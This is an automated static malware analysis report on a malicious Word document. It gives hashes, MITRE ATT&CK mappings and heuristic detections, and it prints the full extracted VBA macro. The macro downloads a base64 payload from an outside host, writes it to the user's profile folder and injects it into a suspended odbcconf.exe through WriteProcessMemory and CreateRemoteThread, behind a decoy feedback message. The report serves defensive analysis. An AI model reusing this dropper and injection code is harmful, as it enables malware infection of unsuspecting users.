Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3a4d4f3497a758ff…

MALICIOUS

Office (OLE)

138.5 KB Created: 2018-07-09 05:48:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 3a81ea9ef447cf2af2675ebbadb6fbf0 SHA-1: b54ed66013a4b8a3c89a8e3aea2f4e7345e0cde7 SHA-256: 3a4d4f3497a758ff5ae1c28251d8ebe1da455de0720dd0e08fb38a3b985c5f11
430 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros that leverage the CVE-2007-3899 vulnerability to execute code. The macro attempts to download a file from 'http://sharepdfs.com/graphs/graph.png' and then uses CreateProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread APIs to inject and execute the downloaded payload. This indicates a clear intent to download and execute a second-stage malicious file.

Heuristics 11

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Macro.Injection-6355574-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Injection-6355574-0
  • Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORY
    Reference to WriteProcessMemory API
  • Reference to CreateRemoteThread API critical SC_STR_CREATEREMOTETHREAD
    Reference to CreateRemoteThread API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .Write xHps.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim xHps: Set xHps = CreateObject("MSXML2.ServerXMLHTTP")
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    eFont = CStr(Environ("USERPROFILE"))
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://sharepdfs.com/graphs/graph.png Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5672 bytes
SHA-256: c470deca1d439b02eedbffca2bd8ed3e2906f0844e2b30453e802be96c8ded43
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 5, 0, MSForms, CommandButton"
Attribute VB_Control = "OptionButton5, 4, 1, MSForms, OptionButton"
Attribute VB_Control = "OptionButton4, 3, 2, MSForms, OptionButton"
Attribute VB_Control = "OptionButton2, 2, 3, MSForms, OptionButton"
Attribute VB_Control = "OptionButton3, 1, 4, MSForms, OptionButton"
Attribute VB_Control = "OptionButton1, 0, 5, MSForms, OptionButton"
Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

#If VBA7 Then
    Private Declare PtrSafe Function CSf Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
    Private Declare PtrSafe Function ASf Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    Private Declare PtrSafe Function WSf Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
    Private Declare PtrSafe Function RSf Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
    Private Declare Function CSf Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
    Private Declare Function ASf Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function WSf Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
    Private Declare Function RSf Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If

Private Sub CommandButton1_Click()
Dim mB As Long, mA As Variant, offset As Long
    Dim pI As PROCESS_INFORMATION
    Dim sI As STARTUPINFO
    Dim sN As String
    Dim sP As String
    Dim eFont As String
    Dim fpFont As String
    Dim lnnst As String
    Dim lnst As String
    Dim lnstd As String
    Dim sFont As Object
    Dim Db6 As String

#If VBA7 Then
    Dim rw As LongPtr, res As LongPtr
#Else
    Dim rw As Long, res As Long
#End If

eFont = CStr(Environ("USERPROFILE"))
fpFont = eFont & "\appdata\Local\Microsoft\Office\Word"
Dim xHps: Set xHps = CreateObject("MSXML2.ServerXMLHTTP")
Dim Stm: Set Stm = CreateObject("Adodb.Stream")
xHps.setOption(2) = 13056
xHps.Open "GET", "http://sharepdfs.com/graphs/graph.png", False
xHps.Send

With Stm
    .Type = 1
    .Open
    .Write xHps.responseBody
    .savetofile fpFont, 2
End With

Dim fFont: Set fFont = CreateObject("Scripting.FileSystemObject")
Dim rFont: Set rFont = fFont.OpenTextFile(fpFont, 1)
Do Until rFont.AtEndOfStream
   lnnst = rFont.ReadLine
   If Len(lnnst) > 0 Then
      lnst = lnnst
   End If
Loop
rFont.Close
Dim xB: Set xB = CreateObject("MSXML2.DOMDocument")
Dim xBn: Set xBn = xB.createElement("b64")
xBn.dataType = "bin.base64"
xBn.Text = lnst
Db6 = xBn.nodeTypedValue
Set xB = Nothing
Set xBn = Nothing
lnstd = StrConv(Db6, vbUnicode)
mA = Split(lnstd, ",")
Kill fpFont

    If Len(Environ("ProgramW6432")) > 0 Then
        sP = Environ("windir") & "\\SysWOW64\\odbcconf.exe"
    Else
        sP = Environ("windir") & "\\System32\\odbcconf.exe"
    End If

    res = RSf(sN, sP, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sN, sI, pI)

    rw = ASf(pI.hProcess, 0, UBound(mA), &H1000, &H40)
    For offset = LBound(mA) To UBound(mA)
        mB = mA(offset)
        res = WSf(pI.hProcess, rw + offset, mB, 1, ByVal 0&)
    Next offset
    res = CSf(pI.hProcess, 0, 0, rw, 0, 0, 0)
    
MsgBox "Thank you, we have received your feedback!", vbInformation, "Form Response"

End Sub

Private Sub OptionButton1_Click()

End Sub

Private Sub OptionButton4_Click()

End Sub